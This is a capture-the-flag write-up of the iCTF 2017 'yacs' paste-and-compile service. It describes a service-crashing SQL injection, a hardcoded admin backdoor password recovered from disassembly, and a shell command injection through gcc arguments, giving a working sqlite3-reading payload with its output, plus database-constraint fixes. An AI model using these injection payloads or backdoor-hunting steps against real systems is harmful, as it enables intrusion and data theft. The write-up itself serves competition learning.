UCSB iCTF 2017 - yacs

Yet another... cat service?!

yacs is a tool to store and later retrieve text snippets. If you store program source code there, it can even compile it for you! So handy.

Of course, everything is protected using state-of-the-art user authorization and password hashing. It's a big C++ compiled binary which uses a local SQLite database file for data storage.

Here's a normal create/list paste workflow:

     ___           ___           ___           ___     
     |\__\         /\  \         /\  \         /\  \    
     |:|  |       /::\  \       /::\  \       /::\  \   
     |:|  |      /:/\:\  \     /:/\:\  \     /:/\ \  \  
     |:|__|__   /::\~\:\  \   /:/  \:\  \   _\:\~\ \  \ 
     /::::\__\ /:/\:\ \:\__\ /:/__/ \:\__\ /\ \:\ \ \__\
    /:/~~/~    \/__\:\/:/  / \:\  \  \/__/ \:\ \:\ \/__/
   /:/  /           \::/  /   \:\  \        \:\ \:\__\  
   \/__/            /:/  /     \:\  \        \:\/:/  /  
                   /:/  /       \:\__\        \::/  /   
                   \/__/         \/__/         \/__/    
==========++++++++++ Y.A.C.S ++++++++++==========
Welcome to Y.A.C.S, the #1 paste tool since 1992!

======== Main Menu ========
1. rEg1sT3r
2. Login
Option: 2
======== Login ========
User name: user
Password: user
Successfully logged in.
======== Main Menu ========
1. pAs7E s0m37H1nG...
2. l1s7 mY pAs7Es...
3. pAs7E 4 pR0gR4m...
4. c0mp1L3 4 pR0gR4m...
5. l1s7 mY pR0gR4ms
6. Logout
Option: 1
======== pAs7E s0m37H1nG... ========
Title (64 characters maximum, e.g. my_awesome_paste):yay!
Content (end with ### and a newline):
yayay
###
Paste created.
======== Main Menu ========
1. pAs7E s0m37H1nG...
2. l1s7 mY pAs7Es...
3. pAs7E 4 pR0gR4m...
4. c0mp1L3 4 pR0gR4m...
5. l1s7 mY pR0gR4ms
6. Logout
Option: 2
======== l1s7 mY pAs7Es... ========
Title (64 characters maximum, supports regex): 
Paste #1.
Title: yay!
Size: 6 bytes
Content: yayay


Found 1 pastes.
###

Of course, this only returns your own pastes and programs.

Academic game phase

Grepping the executable for SQL-related strings shows that while all other queries are parameterized, the INSERT query that creates a new user is not:

$ strings yacs | grep -E '^INSERT'
INSERT INTO USER (NAME, PASSWORD, CREATOR, IDENTITY) VALUES ('
INSERT INTO PASTE (CREATORID, TITLE, CONTENT, DELETED)VALUES (:creatorid, :title, :content, :deleted);
INSERT INTO PROGRAM (CREATORID, TITLE, LANGUAGE, CONTENT, COMPILED, PATH, DELETED) VALUES (:creatorid, :title, :language, :content, :compiled, :path, :deleted);

It is prone to an SQL injection attack and other teams quickly exploited this. By inserting an ' and creating a user with an empty name field, the binary crashed and could not be started anymore (without deleting the database file or removing the offending user row), causing the yacs service to go down across nearly all teams (Denial of Service).

Because we are lazy guys, we did not patch the binary (ain't nobody got time for that). Instead, we "fixed" it by creating database constraints, disallowing empty or non-unique user names:

Original:
CREATE TABLE `USER` (
    `ID`    INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    `NAME`  TEXT NOT NULL,
    `PASSWORD`  CHAR(40) NOT NULL,
    `CREATOR`   INT NOT NULL,
    `IDENTITY`  INT NOT NULL
);

With constraints:
CREATE TABLE `USER` (
    `ID`    INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    `NAME`  TEXT NOT NULL CHECK(NAME <> '') UNIQUE,
    `PASSWORD`  CHAR(40) NOT NULL,
    `CREATOR`   INT NOT NULL,
    `IDENTITY`  INT NOT NULL
);

General game phase

For the second game round, we got a shiny new binary with fixes, which called us out on our laziness. Ouch.

Since you lazy guys wouldn't fix the bugs, we fixed some bugs *for you* in 
this new version. Enjoy!

Password backdoor

One vulnerability which allows to get the pastes (flags) of other users is a password backdoor: If you choose a special password for your new user, you get the admin main menu instead of the usual one.

After checking whether the user exists, a backdoor function runs. The doubled value of every password character is compared to the hardcoded values 0x92, 0x98, 0xDE, ..., 0xE6:

.text:000000000040AA21 movzx   ecx, [rsp+138h+var_F7]
.text:000000000040AA26 movzx   eax, [rsp+138h+var_F8]
.text:000000000040AA2B lea     edx, [rcx+rcx]
.text:000000000040AA2E movzx   ecx, [rsp+138h+var_F6]
.text:000000000040AA33 add     eax, eax
.text:000000000040AA35 mov     [rsp+138h+var_87], dl
.text:000000000040AA3C cmp     al, 92h
.text:000000000040AA3E mov     [rsp+138h+var_88], al
.text:000000000040AA45 lea     edx, [rcx+rcx]
.text:000000000040AA48 movzx   ecx, [rsp+138h+var_F5]
.text:000000000040AA4D mov     [rsp+138h+var_86], dl
.text:000000000040AA54 lea     edx, [rcx+rcx]
.text:000000000040AA57 movzx   ecx, [rsp+138h+var_F4]
.text:000000000040AA5C mov     [rsp+138h+var_85], dl
.text:000000000040AA63 lea     edx, [rcx+rcx]
.text:000000000040AA66 movzx   ecx, [rsp+138h+var_F3]
.text:000000000040AA6B mov     [rsp+138h+var_84], dl
.text:000000000040AA72 lea     edx, [rcx+rcx]
.text:000000000040AA75 movzx   ecx, [rsp+138h+var_F2]
.text:000000000040AA7A mov     [rsp+138h+var_83], dl
.text:000000000040AA81 lea     edx, [rcx+rcx]
.text:000000000040AA84 movzx   ecx, [rsp+138h+var_F1]
.text:000000000040AA89 mov     [rsp+138h+var_82], dl
.text:000000000040AA90 lea     edx, [rcx+rcx]
.text:000000000040AA93 movzx   ecx, [rsp+138h+var_F0]
.text:000000000040AA98 mov     [rsp+138h+var_81], dl
.text:000000000040AA9F lea     edx, [rcx+rcx]
.text:000000000040AAA2 jz      loc_40AB40

[...]

.text:000000000040AB40 loc_40AB40:
.text:000000000040AB40 cmp     [rsp+138h+var_87], 98h
.text:000000000040AB48 jnz     loc_40AAA8
.text:000000000040AB4E cmp     [rsp+138h+var_86], 0DEh
.text:000000000040AB56 jnz     loc_40AAA8
.text:000000000040AB5C cmp     [rsp+138h+var_85], 0ECh
.text:000000000040AB64 jnz     loc_40AAA8
.text:000000000040AB6A cmp     [rsp+138h+var_84], 0CAh
.text:000000000040AB72 jnz     loc_40AAA8
.text:000000000040AB78 cmp     [rsp+138h+var_83], 86h
.text:000000000040AB80 jnz     loc_40AAA8
.text:000000000040AB86 cmp     [rsp+138h+var_82], 0C2h
.text:000000000040AB8E jnz     loc_40AAA8
.text:000000000040AB94 cmp     [rsp+138h+var_81], 0E8h
.text:000000000040AB9C jnz     loc_40AAA8
.text:000000000040ABA2 cmp     dl, 0E6h
.text:000000000040ABA5 jnz     loc_40AAA8
.text:000000000040ABAB mov     dword ptr [rbp+8], 1
.text:000000000040ABB2 jmp     loc_40AAA8

We divided every byte by two and got the backdoor password: 494c6f766543617473 or ILoveCats. When it is a match, [rbp+8] gets set to 1 and the admin mode is enabled. The admin mode allows to get the pastes of every user, including the flagbot:

======== Main Menu ========
1. rEg1sT3r
2. Login
Option: 1
======== rEg1sT3r ========
User name: me
Password: ILoveCats
Repeat your password: ILoveCats
Registration successful. Please login.
======== Main Menu ========
1. rEg1sT3r
2. Login
Option: 2
======== Login ========
User name: me
Password: ILoveCats
Successfully logged in.
======== Main Menu (Admin) ========
1. Modify user info
2. List pastes
3. Delete pastes
4. List programs
5. Delete programs
6. Clear the database
7. Logout
Option: 2
======== List pastes ========
Title (64 characters maximum, supports regex): CrkkX8QADNVxiFYDrEroyaY
Paste #1.
Title: CrkkX8QADNVxiFYDrEroyaY
Size: 59 bytes
Content: Here is the flag you are looking for: ZTxxhxOQn5efXS8mnUit

Because we still are totally lazy, we fixed it by disallowing the ILoveCats password hash in the database:

CREATE TABLE `USER` (
    `ID`    INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    `NAME`  TEXT NOT NULL,
    `PASSWORD`  CHAR(40) NOT NULL CHECK(password <> '80d0132e0d13b79d4ac6565f7da586b4b9b192ca'),
    `CREATOR`   INT NOT NULL,
    `IDENTITY`  INT NOT NULL
);

(Btw, cats are annoying.)

Program compilation: Command injection

The second vulnerability is a crafty one and is related to the possibility to compile a stored program. The user can paste some code, let the service compile it (using gcc) and if that succeeds, the BASE64 encoded resulting binary is returned.

First, we created a special program, consisting only of one FLAG macro:

======== Main Menu ========
1. pAs7E s0m37H1nG...
2. l1s7 mY pAs7Es...
3. pAs7E 4 pR0gR4m...
4. c0mp1L3 4 pR0gR4m...
5. l1s7 mY pR0gR4ms
6. Logout
Option: 3
======== pAs7E 4 pR0gR4m... ========
Title (64 characters maximum, e.g. my_superb_program): flag_program
language (C/C++/Lua/Python/Java): C
Do you want to use an existing paste (y/N)? 
Content (end with ### and a newline):
FLAG;
###

After that, we compiled the program, entering custom command line arguments for the compiler. Because the gcc command is executed using a shell, arbitrary commands can be injected.

We used that to read flags directly from the SQLite database and return it via a C preprocessor macro. At first, we put in real C source code which prints the flag. Turns out, you can use the -E flag to only run the preprocessing stage and speed things up.

======== Main Menu ========
1. pAs7E s0m37H1nG...
2. l1s7 mY pAs7Es...
3. pAs7E 4 pR0gR4m...
4. c0mp1L3 4 pR0gR4m...
5. l1s7 mY pR0gR4ms
6. Logout
Option: 4
======== c0mp1L3 4 pR0gR4m... ========
Program ID: 1
Available compilers:
1. gcc
Which one to use? 1
Custom command line (256 characters maximum): -E -DFLAG=`printf '"%s"' $(sqlite3 data.db "select content from paste where title='CrkkX8QADNVxiFYDrEroyaY'")`
Successfully compiled your program!
Here is the resulting file (base64 encoded):
IyAxICIvdG1wL3lhY3NfdG1wXy4wT0pTOGMiCiMgMSAiPGJ1aWx0LWluPiIKIyAxICI8Y29tbWFuZC1saW5lPiIKIyAxICIvdXNyL2luY2x1ZGUvc3RkYy1wcmVkZWYuaCIgMSAzIDQKIyAxICI8Y29tbWFuZC1saW5lPiIgMgojIDEgIi90bXAveWFjc190bXBfLjBPSlM4YyIKIkhlcmUiImlzIiJ0aGUiImZsYWciInlvdSIiYXJlIiJsb29raW5nIiJmb3I6IiJaVHh4aHhPUW41ZWZYUzhtblVpdCI7Cg==
$ base64 --decode
# 1 "/tmp/yacs_tmp_.0OJS8c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "/tmp/yacs_tmp_.0OJS8c"
"Here""is""the""flag""you""are""looking""for:""ZTxxhxOQn5efXS8mnUit";

(This vulnerability has a slight problem for automation: For the compilation step, you have to enter the Program ID according to its entry in the database table, but you don't know which number it got. You can list your own programs, where a "program number" is reported -- which will not match the Program ID in case multiple users have stored programs. So, the only feasible option we have found is to store your program and try compilation for every number [1..N], until you hit your program or the network goes FUBAR again. Whichever comes first.)

And there you have it!

The binary has quite a few tricks left, for instance a hidden rEg1sT3r an 4dM1n function that can be used by entering option 3 in the main menu. Then you can have some crypto fun and calculate some signature, somehow...


Navigation